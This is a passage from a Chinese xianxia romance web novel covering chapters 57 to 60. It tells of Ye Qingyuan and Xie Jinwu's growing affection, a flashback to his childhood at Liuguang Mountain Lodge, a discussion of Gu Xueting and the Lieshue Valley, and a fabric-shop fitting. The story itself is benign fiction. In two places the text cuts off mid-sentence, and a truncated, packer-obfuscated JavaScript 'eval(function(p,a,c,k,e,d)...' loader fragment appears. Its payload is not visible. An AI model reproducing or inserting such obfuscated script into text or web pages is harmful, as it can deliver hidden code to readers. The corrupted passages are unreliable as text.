“好好的,还能摔倒吗?”谢尽芜进屋,反手将门带上。 他的视线不经意地落在床头桌上的酒壶,眉心蹙起:“你准备把酒当水喝?” “不是啊,这只酒壶已经空了。” 叶清圆的脑筋还有些糊涂,她抬起胳膊,对着谢尽芜招了招手:“你过来,我有一样东西想要给你看看。” 她从荷包中翻了翻,摸出那条编了珍珠的手串来,笑吟吟地捧在手心:“好看吗?” 谢尽芜的目光落在那条手串上。当然好看,手串是她亲手编的,珍珠是他挑选,能不好看吗? 叶清圆又笑:“这是要送给我的好朋友的。” 谢尽芜的脸色一瞬间就黑了。 他抿了抿唇,眼中满是防备不及的怒气:“那你问我干什么?” “当然要问你了。你不是我的好朋友吗?我不问你问谁呀?” 谢尽芜睁大眼,唇角到下巴紧绷着。 他僵硬道:“谁说的?” “哦,”叶清圆也不甚在意,“原来还不是啊,行吧。可怜我们相识那么久,独处那么多次,我还给你带过那么多好吃的,结果连朋友都算不上!” 她抬眼看他,故意道:“唉,我一点都不失落。” 谢尽芜目光定定地看着她,眼潭深邃而冷漠,宛如坚冰。 “可是这条手链怎么办啊?我费了好大的力气才编成的呢,上头的珍珠还是某人亲自挑选的。”叶清圆漫不经心地笑,悠悠叹出一口气,“若是就这么送给别人了,也不知人家喜不喜欢。” 她话音落下,含笑的眼眸望住谢尽芜。 谢尽芜垂眼看那条手串,薄红的唇抿了一抿。 修剪整齐的指甲无意中剐蹭过她的手心,皙白修长的手指微动,从她的手心挑起那条手串。 而后,珍重而虔诚地戴在了自己的左腕。 谢尽芜的眼帘抬起,殷黑的眼眸幽邃清冷,哼道:“这么粗糙的编法,以后就不要再编给别人了。” 他说出口又觉得不太对劲,补充了一句:“反正别人又不喜欢。” 叶清圆很不服:“我的手艺有那么差?” 谢尽芜不答,唇角却牵起,脸上露出前所未有的温和笑意。 叶清圆眨着一双醉意朦胧的眼,笑意盈盈地看了他将近半分钟,红唇开阖:“你的眼睛真冷,可笑起来却又很好看。你以后可以多笑笑吗,谢尽芜?” 谢尽芜轻声道:“无缘无故的有什么好笑?” 叶清圆被他故作的凶狠逗笑了,笑得眸中柔光都涣散了,乌发间的流苏金簪轻晃。 她好像……慢慢地摸索出了攻略谢尽芜的方法。 这人就是吃软不吃硬,腼腆还别扭。 对付这种人,就该采取一些“入室抢劫”般的手段。 叶清圆诚实道:“我喜欢好看的人事物。你生得好看,笑起来就更好看啦。当然我看了就会开心,就会想笑啊!” 谢尽芜想象了一下那个画面。两个人对望着一言不发,却只是笑,简直就像两个心智有障的傻子。 ……太愚蠢了! 清脆悦耳的声音响在光影朦胧的屋内,谢尽芜的心头因着这点轻微的响动而蓦地发痒。 他的目光落在叶清圆红润的唇瓣,柔软湿润的唇瓣,牙齿洁白整齐,是唇红齿白的好相貌。 他匆忙避开了目光,低声道:“别笑了,哪有女孩子像你这样笑的。” 叶清圆一听大不乐意:“女孩子怎么笑都可以,你管我那么多?” “……在别人面前不要这么笑,”谢尽芜抿了抿唇,欲盖弥彰地倒茶喝。 茶杯掩饰住了他的神色,他又补充道:“没有要管你的意思。” “嘿,你找补得倒是很快,上辈子属补丁的吗?” 叶清圆忍不住坐起来,两人之间的距离蓦地拉近许多。她猝不及防间竟瞧见了他脸颊上的微红,嘲笑道:“还说我呢,你怎么也醉了?哦,还要喝我的茶?” 思维如脱缰野马,叶清圆一伸手就按住了他的手腕,醉道:“喝了我的茶,怎么还不……” 咦?后面是什么来着? 怎么还不给我们家做…… 她眨了眨眼,方才脑海中的灵光倏忽消失不见,如一尾滑腻的鱼从她的指缝溜走。后面分明还有半句的,却无论如何都想不起来了。 谢尽芜觑她一眼,故意提起茶壶又给自己斟了一杯:“如何?” 叶清圆不想了,眼珠一转,故作可怜道:“你不要总是对我这么冷淡啊,谢尽芜。” 谢尽芜抬起眸,像是听到了什么不可思议的话。他无辜道:“没有很冷淡。” “就是很冷淡,”叶清圆认真地看着他,翘起的唇角倦懒温和,“刚才在饭桌上,你不是也觉得我醉酒后的样子很麻烦吗?可是我也不想让你照顾的。” 谢尽芜的视线落在桌上那樽天青瓷瓶,轻声道:“……其实不麻烦。” “嗯?”叶清圆很是心善地替他找解释,“哦,你只是不喜欢和人有肢体接触嘛,这我清楚的。说起来我还要向你说一声抱歉呢,那天在千花河畔,我醉得太厉害,什么都记不得了,或许对你做了一些……” “我没有不喜欢。”谢尽芜蓦地出声打断她。 他的声线低郁,好似不悦,好似纠结,“你不要自己胡乱猜测。” “什么?”他根本没有按意料当中的发展走,叶清圆顿时大脑宕机,反应不过来他的话是什么意思,“谢尽芜,你……” 那次在千花河畔她喝醉以后,谢尽芜的脸色差得险些就要提剑砍人了,这还不算讨厌吗? 叶清圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她嘀嘀咕咕道:“白天我还受了伤呢,很累的,嗓子也不舒服。” 又责怪他:“你说你这人也是,明知我吐过血,还夹那种麻辣的东西给我。你是不是故意的?” 谢尽芜的视线落在花窗,连看都不敢看她了。 叶清圆停顿一瞬,漂亮的眼睛里露出怀疑的神色,怀疑他根本就没听懂。于是小声道:“谢尽芜,你知道癸水是什么吗?” 他皙白的脸颊上肉眼可见地泛出一层绯红,开口时窘迫得险些咬到自己的舌尖:“……知道,你不必再讲了。” 叶清圆懒懒地翘着唇角,阖上眼:“哦,我还以为你真的什么都不懂呢。” 结合他的种种表现,根本就不像是开窍的人。 谢尽芜隐隐觉得被她瞧不起了,却又反驳不出什么话。 好久没等到她的回复,一转头,却见她阖上的眼眸。 屋内尚且有男子,她竟就这么毫无防备地酣睡过去。 真不知该责她不懂避嫌,还是该喜她不排斥自己。 谢尽芜不悦地收回目光,抬手替她熄掉了两支灯烛,转身出门去了。 叶清圆翻了个身,没过一会儿,却听外面的足步声又响起。 走廊里朦胧暖黄的灯光映过来,窗纸上现出一道清瘦挺拔的身影。 谢尽芜在门口绘制了一道符咒。 是一道隔音符,隔绝外头所有的噪音虫鸣,祝她今夜好眠。 叶清圆将脸颊埋在柔软的床榻里,弯了弯唇角。 黑暗中,一声清脆的声响打破寂静:“叮!系统提示:角色【谢尽芜】对宿主的好感度已经升至60%!恭喜宿主触发珍贵回忆片段——‘流光山馆’!” 58. 回忆 流光山馆。 仲春时节,日光明媚。 谢尽芜坐在庭院中的矮凳上,一张净白稚嫩的小脸皱着,如临大敌地研究石桌上的一块青色木简。 木简的正面写了字,是一笔方正舒展的颜楷。笔力遒劲,气势雄浑疏朗,合该是策论中笔御天下的豪言壮语。 然而,写着的却是最缠绵、细腻的诗句—— “愿我如星君如月,夜夜流光相皎洁。” 他尚且识字不全,左手按在木简上,右手的手指头点着诗句。一字一念,眉宇间竟显出与他这个年龄不太符合的端方持重,认真得可爱。 廊檐下悬挂着竹帘,疏落有致。浅淡的金色阳光泼洒,筛过竹帘的缝隙,跳跃的光斑点缀廊下女人微微弯起的唇角。 她臂挽披帛,缓步从廊下走到庭院里来,悄无声息地站到谢尽芜的背后,听他磕磕绊绊地念道:“夜夜流光。” 女人乌黑漂亮的眼瞳中凝聚起细碎的笑意,像是初春时节阳光照耀下,河面浮动的快要融化的碎冰,明光跳跃。 谢尽芜念得太认真,却轻易地被难倒了:“相……相……” 女人俯下.身,轻如云雾般的衣袖拂过他的手臂,浅红的指尖点在木简上:“皎。” 谢尽芜的大脑空白了一瞬,转过身看清来人面容的那一刻,眼睛蓦地亮了,一双与女人同样乌黑漂亮的眼潭中盛满了喜悦:“阿娘!” 他丢下了木简,整个人扑进了女人的怀里,方才的正经全都不见了,忙不迭地开始撒娇:“阿娘,好久都没见过你啦。” 白灵宣的唇边勾起温柔的笑,手心抚摸他柔软的发顶:“六天不见了。” 她的身形纤瘦,肤色极白,温润生光。一双手亦是纤长净白,手背柔腻得可以看到细微的筋络,指甲不染丹寇,呈现一种自然的浅淡的粉色。 谢尽芜的唇色亦是这般浅粉,肤色又白,整个人是粉雕玉琢的好看。 他抿着嘴笑,不敢表现得太激动,只是抱了阿娘一下就矜持地松开了手,乖巧规矩地站好。 他觉得自己是成熟有担当的大孩子了,不该再这样幼稚地黏着娘亲,不好。可是那双清透漂亮的眼瞳却盯住她,眼里的笑意满满,始终移不开目光。 纠结了半秒之后,谢尽芜有些不好意思,又扑进了白灵宣的怀里。 白灵宣捏了捏他脸颊上的肉,忍不住笑话他:“跟你爹爹一模一样。” 谢尽芜听了这话却有些懵懂了。小孩子都喜欢和阿娘亲近,他眨眨眼:“我不要。我想和阿娘一样。” “好,好,就要和阿娘一样。”白灵宣被他逗得直笑,她蹲下.身来,手臂揽着他,将他单薄瘦小的身躯搂紧了,闭目发出一声微不可闻的叹息,“阿娘很想你。” 谢尽芜将下巴搁在她的肩膀,闻到她衣领处的令人安心的槐花香。他心里的小花盛放,明媚的阳光穿过摇曳花枝,斑驳的碎光落在他堆满笑意的眼角眉梢。 他无知无惧,无忧无恨。这一处远离尘世的庭院,为他遮挡所有的风霜雨雪。 白灵宣温柔地拍了拍他的背,伸手取下脖颈处戴着的一块白玉,放在他幼嫩的手心。 谢尽芜好奇地问:“阿娘,这是什么呀?” “是爹娘留给你的东西。”白灵宣将他的手合上,柔和的眉眼中显出几分郑重,“今后,不管发生什么事,这块玉一定要贴身戴好,知道吗?” 谢尽芜不懂,阿娘的脸色是前所未有的认真,微蹙的眉心满是担忧。 发生什么事了?阿娘为何会这样?爹爹又去哪里了? 他孤身一人住在这偌大的流光山馆,不问是非,不沾春秋。 “知道了,阿娘放心,我一定会贴身戴好的!”他茫然地点点头,手指抚过白灵宣的眉头,柔声哄道,“阿娘不要皱眉啊。” 白灵宣回过神来,垂下眼睫轻笑,浓密的睫毛遮住她眸中的悲意:“好。” - 寒冬愈盛,孤山负雪。 流光山馆设在远离尘世的孤山之巅。站在山馆仰望星空,穹顶低垂,手可摘星。 白灵宣爱花爱玉,也爱各式各样的灯。流光山馆栽满了谢拱辰四处搜罗来的花树和灯,然而样式太多,为免破坏山馆的格局布置,谢拱辰便请灯座们纡尊降贵,暂居在蜿蜒的登山道旁。 谢尽芜一步迈上两个台阶,喘了口气,视线落在道旁绽放的各色梅花上,喃喃道:“爹爹,梅花开了。” 他呼出一团白雾,雾气散开,消融在清冷的雪夜中。 细雪静谧地坠落,雪不大,却落了将近一日。漫山花树都被覆上一层晶莹柔和的雪光,明亮的月色之下,只余隐约朦胧的轮廓。 周遭灯烛静静地燃烧,水红的灯罩荡出涟漪般的光。灯外则是肆意绽放的红梅树,一枝红梅歧伸过来,负雪的花瓣触在灯罩上。 一簇光,一簇花,恍惚间竟有些分不清了。 登山道旁,百余盏明灯映雪,簇簇红梅盛放,如野火燎原般,一路蔓延着烧下山去。 “这些花树,都是清和出生那年,爹爹亲手种下的,如今已经长得这么高了。” 谢拱辰蹲下.身,手指轻柔地抹去他眼睫上的雪,含笑道:“红梅花上的浮雪,用来煎茶最为清香甘甜。我们收集一些,带给阿娘好不好?” 谢尽芜爬了半个时辰的山道,早已累得脸颊红扑扑。他一本正经地点点头,随即苦恼道:“可是我好累,或许需要休息片刻。” “可以。”谢拱辰干脆牵着他的手在道旁坐下。 谢尽芜拢了拢雪白的大氅衣领,扬起脸望向头顶漆黑的夜空。漫天细碎的雪纷纷扬扬,像要坠落进他的眼睛里,天地倒悬。 他笑起来,一双殷润的眼眸干净漂亮,像是被冷泉洗过。 “清和的眼睛,很像阿娘。”谢拱辰轻笑道,“鼻子和嘴巴像我。” 谢尽芜正从梅枝上团了一把雪,要捏兔子,闻言好奇道:“那眉毛呢?” “像我。” 他低头继续捏,又问:“头发像谁呀?” “也像我。”谢拱辰笑得温柔,“但是,清和跟阿娘一样白。” 他的唇角弯起,满眼的怜爱都快要化作实质,包裹住谢尽芜,叫他不受一点委屈。 谢尽芜的脸颊被寒风激得白里透红,黑润的眼眸亮如星子。他扭头看了一眼山道上方:“我想阿娘了,我们回去吧?” “不是要给阿娘带雪吗?”谢拱辰递给他一个小狗形状的水壶,“清和可不要说话不算数啊。” “没有说不带。”谢尽芜小声嘟囔着接过水壶,踮起脚去枝头红梅花瓣上取雪。漫山的红梅盛放,连坠落的雪都被沾染了清幽的冷香。 他分心去看山道旁的灯,明暖的灯光荡出涟漪般 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谢尽芜眨了眨眼,有点得意道:“那爹爹现在一定很开心,因为马上就可以见到阿娘了。” “当然啦。这一路上无论有多累多苦,我都会想尽办法到达她的身边。” 谢拱辰抚着他的脸,眼中漫出笑意:“所以,清和若是以后遇到了喜欢的人,不管路上有多少阻碍、困难,也一定要拼尽全力去见她,明白了吗?” 谢尽芜有些听不懂他的话了,却也郑重其事地点头:“明白。” 谢拱辰拍拍他的肩:“好孩子。” - 窗外的月光清冷皎洁,透过薄薄一层窗纸照进来,隐约勾勒出屋内家具的轮廓。 屋内一盏昏黄的烛光。谢尽芜坐在窗前,手指摩挲着这条珍珠手链。 触手温润,莹然有光。 手链编得很漂亮,是玉白的丝线里掺着旖旎的水红,柔漪温和,像是流光山馆登山道旁那株被白雪覆盖的红梅花。 这么漂亮的手链,她怎么会觉得丑呢? 还要故意诳他一下,欲盖弥彰地要把这条手链送给别人。 愚蠢又幼稚的把戏,竟天真到以为他会乖乖中招吗? 可饶是如此,目光落在那条手链的时候,谢尽芜薄红的唇角微弯,眼中依旧露出一抹笑意。 心里满胀得仿佛要溢出来,不知盛了些什么。或许是饮酒的缘故,他蹭地站起身,生平头一次感觉到自己的心跳竟会如此之剧烈,若非有胸腔的阻隔,怕是要直接跳出来。 “喜欢”这个词有些朦胧,太过危险。这意味着界限的模糊不清、意味着怦怦直跳的心,意味着他也会恍惚、慌乱、惴惴不安,冷漠如冰的眼神因为她而逐渐有了温度。 他也不知道自己是怎么了,晚饭时分明桌旁都是人,他的目光却总是忍不住地往她那里去。 支摘窗开着,河岸的笑闹声、吆喝声隐隐约约,却如微风般拂过他的耳边,风过无痕。 唯有她含着笑意的声音,字字都如碎玉落雪,敲在谢尽芜荒芜许久的心头,怎样都好听。 她说得对。喜欢是藏不住的,就算捂住嘴巴,心意也会从眼睛里跑出来。 他分明不想承认,可除此之外,还能有什么来形容他此刻的心境最为贴切? 他多年来引以为傲的冷静自持,在她低眸微笑的那一刻,就已经溃败。 59. 红痣 翌日下午,他们聚在客栈的雅间茶室,针对侯爵府之事,开了一场短暂的会议。 “顾雪庭名义上是渡真世家家主顾九枝的师弟,可是他从未在渡真世家修习过,与族中子弟的关系也很一般,甚至称得上是彼此陌生。”许明竹思索道,“说白了,这个人没有来历,没有过往,就好像是凭空出现一般。” 谢尽芜漫不经心地饮了一口茶,淡声开口:“他不是顾九枝从冽雪山谷救回来的吗?按照渡真世家的说法,他是在冽雪山谷闭关修炼多年,与族中子弟不相熟悉,也属正常。” “可是,冽雪山谷那种蛮荒之地……不像是能修炼的地方啊。”许明竹有些愁闷地叹出一口气。 暑气阵阵地泛上来了,窗外树梢中蝉鸣连绵不绝。 天气太过燥热,叶清圆浑身乏力地坐在角落的位置,闷得说不出话来。她抬起手支着下颌,手指抚在热得发红的脸颊上,百无聊赖地看着窗外河面接连起伏的荷叶。 江云初笑吟吟地给她倒了杯凉茶:“这些荷花都要败光了。昨夜我和明竹去河畔散步的时候,发现荷叶也有些枯萎的样子。再过几日就是末伏了,天气会慢慢转凉的。清圆来喝杯凉茶吧。” 碧绿澄澈的茶水中浮荡着饱满的茶叶,杯子还未递到叶清圆的手中,半道却被一只骨节分明的手拦住了。 谢尽芜重新倒了一杯热茶,搁在叶清圆的眼前,一双殷润的眼眸定定地望着她。 叶清圆看他一眼,觉得他有点莫名其妙,但还是小声道:“多谢。” “嗯。”谢尽芜收回目光,神色镇静冷漠,唇边却有个不易察觉的笑。 江云初顿时有些疑惑,她的目光在二人之间逡巡了片刻,随即难以置信地睁大了双眼。 “顾雪庭在两年前就被渡真世家驱逐,似乎是犯了某种不可饶恕的大错。”谢尽芜补充道,“就连顾九枝都没能保住他。” 外界传言,家主顾九枝颇为维护这位不明来历的顾雪庭。 更有甚者,竟说这位顾雪庭实则是顾九枝的亲弟弟,是前任家主流落在外的私生子。 “他被逐出师门,按理来讲应该要除去族中服制的。”叶清圆疑惑道,“可是我们几次见到顾雪庭的时候,他都还穿着那件泼墨山水袍呢。” 谢尽芜端着茶杯的手一顿。 她垂首嗅着茶香,氤氲的茶雾浮起,恍惚间缠绕着她纤长的睫毛。 “只可惜,这个人总是神出鬼没的,我们也很少见到他。”叶清圆叹了一口气。 纵使见到也没有机会谈话,顾雪庭简直是特别迷恋那种给人作画的感觉,书画摊子前总围满了许多顾客。他根本无暇分.身。 “要想查清他的来历也不难,我们往冽雪山谷走一趟便是了。只是,并没有这个必要。” 江云初不愧是江氏继承人,眨眼的功夫就将局面分析得清清楚楚:“顾雪庭是渡真世家的人,枉死的宋雨阁也是。但无论他们有什么纠葛矛盾,那都是渡真世家的家事,我们若插手了,反倒是不妥。” 许明竹也颔首赞同:“金璧城的事情查清楚即可,更深处就不必再追究了。” 他的话音落下,叶清圆的脑海中忽地响起清脆的机械声:“系统提示,请宿主尽快前往冽雪山谷!” 不用说,这冽雪山谷是必去不可的,否则她后面的任务怎么做? 许明竹和江云初都是站在家族的利益考虑,不去掺和渡真世家的事也是深思熟虑的结果。 那么谢尽芜呢?他听到“冽雪山谷”这四个字,竟也无动于衷么? 叶清圆清了清嗓子,眼里蕴着些柔和的笑意:“你觉得呢?” 谢尽芜神情沉肃地反问她:“你想去吗?” “你若是想去,我就陪着你。”叶清圆满眼期待。 在原著中,金璧城一案结束以后,谢尽芜抬掌打伤了许明竹和江云初,之后就孤身前往终年严寒冰封的冽雪山谷,杳无音信。 江云初和许明竹重伤需要疗愈,却也暂时平静了一段时间。 两个月之后,结界封印松动,冽雪山谷的地气波动,震颤百里。谢尽芜踩着漫山的冰雪纵身而出,一身宽袍大袖在白茫茫的雪海中漆黑如墨,分明得几乎刺目。 谁也不知道那两个月里发生了什么。 谢尽芜提剑下山,他开始疯狂地杀戮、复仇。他以一种堪称惨绝人寰的方式虐杀了将数百名修真世家的子弟,几乎废掉了当时修真界的大半青年才俊,让世家们的百年心血付诸东流,唯有苟延残喘,跪地求饶。 按照系统的任务提示,冽雪山谷是非去不可的。 可叶清圆一方面不想江云初和许明竹一同前往,担忧原著中的剧情再次降临在他们的身上。 另一方面,谢尽芜动手打伤他们二人的原因至今未交代,她一时也有些茫然。 听过叶清圆的提议之后,谢尽芜不知想到了什么,脸色顿时变得更难看,冷硬地拒绝道:“我不想去。” 叶清圆摩挲着袖口的手指顿了一下:“咦?怎么了?” 谢尽芜目光冷郁地看着她,不发一言,薄红的唇抿了一抿,方才的零星笑意也不见了。 “清圆是想要看雪吗?”江云初柔和道,“若是想要看雪的话,那你可能要失望了。冽雪山谷虽终年负雪、气候严寒,可周遭都有结界封印,寻常人根本难以接近。而且,那里每年十月就开始下雪,一旦下雪就会封山,届时无论进出都是痴心妄想。所以,纵使是宗门世家,除非修为极高者,也仅能在春夏的时候前去。” 她回忆道:“不过这也只是我道听途说,那里是蛮荒之地,还从未有人进去过。” “蛮荒之地,又怎会有结界封印呢?”叶清圆好奇道。 “这个……我也不知。”江云初秀丽的眉头微蹙,“曾经我也好奇过,因而翻遍了族中的典籍记载,可却查不到任何只言片语。” 许明竹思索片刻,斟酌着措辞道:“我倒是听人提起过,二十年前,冽雪山谷曾经地气失衡,妖鬼肆虐,周遭城镇哀鸿遍野、百姓死伤无数。那个地方的消息比较闭塞,最开始的几年里并没有世家介入。后来又过了几年,众世家才联合攻入冽雪山谷,铲除了作孽的妖鬼之后,又将山谷彻底封印。” 他顿了一瞬:“然而,地气失衡这个问题,却始终没有解决。” “那岂不是成了个封闭的妖魔窟?”江云初吓了一跳,“顾雪庭说他曾在冽雪山谷中修炼多年……他到底是人,还是伪装成人的妖鬼?” “云初,不要多想了。”许明竹温声打断她,“若顾雪庭真是那样,顾九枝怎么会将他带回族中,渡真世家又怎么可能容忍他成为家主的师弟、安然无恙地在族中待了这么多年?” 换句话说,若顾雪庭真的深藏猫腻,渡真世家那帮老狐狸会看不出来? “是,这也有理。” 江云初勉力舒展开紧蹙的眉头,笑容略有些疲惫。 她避开谢尽芜投来的审视的目光,垂下眼睫。 许明竹察觉到了,对江云初使了个眼色,笑道:“云初,你不是说想吃冷元子吗?昨晚客人太多我们没排上,不如现在去看看,如何?” 江云初心领神会,两人当即起身告辞。 - 窗外玉兰树的叶片绿得浓郁,微风吹过,簌簌作响。茶桌旁就剩下谢尽芜和叶清圆两人。叶清圆眯起眼感受这阵凉风,鬓边轻柔的碎发微微拂动着。 江云初好像有意在躲着他们,不知为何。 他们之间到底发生了什么事? “你对顾雪庭很感兴趣?” 谢尽芜冷不防地开口道:“几次相见皆是夜中,光线如此昏暗,你还能看清他穿的衣服是什么样并且牢牢记在脑海中。不得不说,你的眼光还真是好啊。” 他话中带刺,莫名的嘲讽之意。叶清圆听了顿时有些不悦:“什么跟什么?” 谢尽芜心里忍不住怄气,语调因此更冷:“顾雪庭的泼墨山水袍,你看得很清楚。” “谢尽芜,”叶清圆愣神了一会儿,“那么明显的纹样,我是瞎子吗竟会瞧不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你的记性是不错,所以就记住这种事了吗?”谢尽芜偏头看她,“哦,还记住了顾雪庭曾在冽雪山谷修炼,所以想去那里一观。” 莫名其妙,怎么又给绕回来了? “不,我只是想说明,我的记性很好……”叶清圆话音出口,蓦地一顿。 她终于听懂了他话中嘲讽之意从何而来。 她怔怔地不敢相信,费了好大的力气才勉强找回思绪:“你是在吃醋吗?” 从千花河畔那位白衣公子,到无缘无故躺枪的顾雪庭。谢尽芜似乎有好几次都在和这两个人暗自较劲。 谢尽芜的脸颊霎时浮上一层薄红:“胡说。” “哦,”叶清圆故作恍然大悟,实则态度从容,“原来不是呀,那就好,是我多虑了。” 谢尽芜抬起眼帘,殷润纯澈的一双眼,眸中隐忍地蕴着羞赧之意。 可惜,叶清圆偏过头看窗外,错过了他灼灼的目光。 她搁下茶杯,拍拍手起身:“罢了罢了,待在客栈真是无趣,我要去外面街市逛一逛,谢公子一同去吗?” 事实证明,谢尽芜虽是个性情冷肃、孤寡索然的反派预备役,可他眼光却极好,精力耐力又充沛,是再好不过的逛街伴侣。 “这两种锦缎都很漂亮,在阳光底下好像浮着一层碎光。摸起来也很柔软舒适,”叶清圆的心情很是愉悦,“都要了吧!裁成两身新裙子,恰好立秋时穿。” 老板娘是个温和明媚的美妇人,闻言笑吟吟道:“好嘞!姑娘里间请,今儿裁缝师傅不在,我给姑娘量身裁衣。” “好啊,劳烦老板娘了。”叶清圆回过身,眼尾上挑,轻声问道,“你觉得好看吗,谢尽芜?” 谢尽芜面无表情地站在她身旁,怀中抱着一捧杜鹃花。殷红的花枝在他皙白的脸颊上映出浅红的光,艳若桃李灿如红霞。 他的视线落在锦缎上,淡声道:“都可以。” 叶清圆当即拍板决定:“好!那么这匹正红的缎子就给你裁制新衣,好不好?” “我?”谢尽芜蓦地睁大眼,怀里的杜鹃花瓣随他的动作簌簌乱飞。他摇头拒绝:“我不穿红色。” “试试嘛,你穿红色肯定会很好看的。”叶清圆柔声劝慰道,明亮的眼中满是柔光。 谢尽芜顿了一秒,换了个讨巧的问法:“你怎么知道会好看?” 叶清圆心中腹诽:就凭你现在抱着杜鹃花的模样啊。 她不答,眼眸狡黠地弯起来:“我先进去了,你稍稍等一会儿哦。” 60. 新衣 叶清圆和老板娘从屏风后的里间出来时,店铺中竟已多了不少顾客。 这些顾客多是年轻姑娘,三两结伴,状若挑选绸缎的认真模样,实则余光却不时落在谢尽芜的身上,姣好清秀的面容上浮现些许红云。 更有甚者,大着胆子上前去搭讪,抬手作势要拂他怀里的红杜鹃。 谢尽芜侧身避开,怀里仍旧抱着那一捧杜鹃花,孤零零地站在店铺的角落,故作看不到这些姑娘。 他眼中有淡淡的厌烦之意,清隽瓷白的面容掩在杜鹃花枝投下的浅红阴影中,神情冷得像冰。 难怪店里客人忽然多了起来,有这么一位相貌昳丽的少年站在店里,谁会不多看两眼? 珠帘掀起的细碎碰撞声响起,谢尽芜很快抬起眼,目光锁定在叶清圆的面上,神情有一瞬的放松。 老板娘的脸上很快挂上客套的笑容:“这位公子,请去里间量身。” 她做了个请的手势,随后笑着对叶清圆道:“这会儿裁缝师傅不在,这量身的活,恐怕得劳烦姑娘来了。二位既是恋人,想必也没什么不妥。” 叶清圆脸上笑意一僵,瞠目结舌,慌忙摆手道:“恋人?不、我们不是……” “怎么量?”谢尽芜不知何时竟已站在了她的身旁。杜鹃花丛繁盛灿烂,掩住他的下巴和脖颈。 “这位姑娘都知道的。”老板娘毫未察觉她的震惊,依旧笑得温和,“抱歉了二位,实在是师傅这会子不在。可若我为公子量身也太过不妥,便只好由姑娘亲自来了。” “好。”谢尽芜颔首,将满怀的杜鹃花暂时放在桌上,转头看向脸颊发红的叶清圆,“我们进去吧。” 珠帘后的里间,六扇屏风的阴影处。 叶清圆拿着软尺,手足无措地摆弄了一会儿,小声道:“谢尽芜,你自己量好不好呢?” 谢尽芜垂下眼睫看她,神情是恰到好处的茫然:“自己怎么量?” “谢尽芜,”叶清圆扬起脸,眼中漫出些细碎的柔光,“我没有经验,若是量错了,可不许怪我。” “我会提醒你的,”他长眉微挑,“按照纸上记载的顺序来吧,先从肩宽开始。” 叶清圆颇为无奈地将软尺贴在他的肩膀,一寸寸展开。 他的肩头有些硬,薄薄的肌肉附着在骨骼上,少年的肩膀宽而有力、肌肉柔韧,却并不显得蛮横。 屏风后的光线有些昏暗,叶清圆眯起眼看清了软尺上的标记,转身弯腰提笔,在软簿上记好。 下一项,是袖笼。谢尽芜舒展双臂,一低头,却对上了她有些躲闪的眼眸。 “怎么了,你有话想说?” 二人的距离很近,呼吸可闻。他身上清新馥郁的冷香渡过来,像是雨后林间的湿润草木,少年身上独有的清冽味道,缠绕着要将她包裹住。 叶清圆轻扯着软尺的手指微微一颤。 “刚才那个老板娘说……我们是恋人,”她的心跳如擂鼓,视线落在软尺上的标记,却看不清尺寸究竟是多少,“你为什么不解释呢,也不要我解释?” 谢尽芜的视线落在窗外摇曳的树影上:“没什么好解释的,我不喜欢和无关之人说太多废话。” “这样啊。”叶清圆总算看清了他袖笼的尺寸,手指一松,软尺垂落。 她抬起眼,猝不及防对上谢尽芜那双殷润的黑曜石般的眼眸。 二人之间的距离前所未有的近,呼吸几乎都纠缠到一起。谢尽芜嗅到她口鼻间的甜香,不知她又贪吃了什么甜腻腻的糕点。 她怎么这么爱吃甜? 也不怕把牙齿吃坏了吗? 谢尽芜定定地看着她,觉得这个习惯很不好。 叶清圆微不可察地后退半步,与他拉开一段距离,抿唇露出笑来。 她的眼眸在阳光照耀下泛出浅棕色,毛绒绒的碎发上也染了细碎的金光,有种稚嫩却鲜活的生命力。 她含笑,心下惴惴地满是期待:“那谢公子今日愿意陪我来逛街,又帮我提了许多东西,是不是说明我们已经成为好朋友啦?” 说什么呢?送他手链的时候不是讲过了吗?为何还要再问一遍? 是他在她的心里根本无足轻重,所以她不记得吗? 谢尽芜几乎是目不转睛地注视着她,看似冷静,实则心底浪涌滔天。 他浓秀的眼睫颤了颤,“嗯”了一声。 叶清圆仰着脸,唇边的笑意愈发深刻。外头老板娘和客人们的说笑谈论声隐隐约约传来,略微喧闹,外头也起风了,树叶沙沙响动,像是屏风后这一方小天地里天然的背景音。 她压低了声音,眼里的笑意灵动而娇俏:“要成为谢公子的朋友还真是不容易。好,为了庆祝我们成为朋友的第一天,待会就让谢公子为我挑选一件首饰好了。你的眼光这么好,不会拒绝我的吧?” 话都让她说完了,他哪有不答应的余地? 谢尽芜点头说好。他像个心甘情愿受人蛊惑的昏君,无论叶清圆待会说什么,要什么,他都要说“好”。 可是叶清圆转身了,她心满意足地在软簿上记好他的袖笼尺寸,随后目光下移,持笔的手一顿。 后面接连三项…… 跳过。再下一项是领围,还好。叶清圆踮起脚,将软尺绕在他的脖颈,纤细的手指动作轻柔,很谨慎地注意着不去触碰他的皮肤。 他身量好高,就这么站着要比她高出一个头。可他却不肯迁就她,腰背挺拔故意站得比青松还直,好整以暇地看她仰着脖子给他量领围,费劲得脸都皱起来了。 叶清圆万分小心地牵着软尺绕过他的脖颈,最后来到他的领口前。 她的目光不经意地落在他的衣领上,忽地一顿。 他的衣领滚边,竟以银线绣制了一朵小小的栀子花。 谢尽芜不是最讨厌栀子花吗?讨厌到系统专门把栀子花设为他的雷点?他怎么会在衣服上绣栀子花,还是如此……靠近心口的位置? 这岂不是矛盾? 叶清圆愣神的功夫,软尺竟被她牵得翻了过来。她慌忙松开手,略微坚硬的指尖不经意地划过了谢尽芜的喉结,引得头顶传来一声极轻的闷哼。 谢尽芜的目光落在她的发顶,如有实质。 他的脖颈皮肤亦是冰雪般的白,喉结微动,像是初春时节河面上半融化的浮冰。 叶清圆霎时浑身都不自在起来,她飞快地收回了手,不肯再看他,转身将尺寸记载在软簿上。 “谢尽芜……这三项,可不可以你自己来啊?或者待会等裁缝师傅过来?我怕量得不准。” 叶清圆不能在这里待下去了,心猿意马、魂不守舍。她将软尺和笔都搁在桌面上,转身面向谢尽芜,视线游移在他的下巴处,却不肯直视他的眼睛。 谢尽芜不置可否地站着。他的喉结处皮肤被她的指甲划出一道极为清浅的红痕,不痛,却痒得很,像是有一簇火苗轻柔却残忍地烧进他的心头。 “我去看师傅在不在。” 叶清圆不管了。她迈步就要走,与他擦肩而过的时候却被一把攥住了手腕。 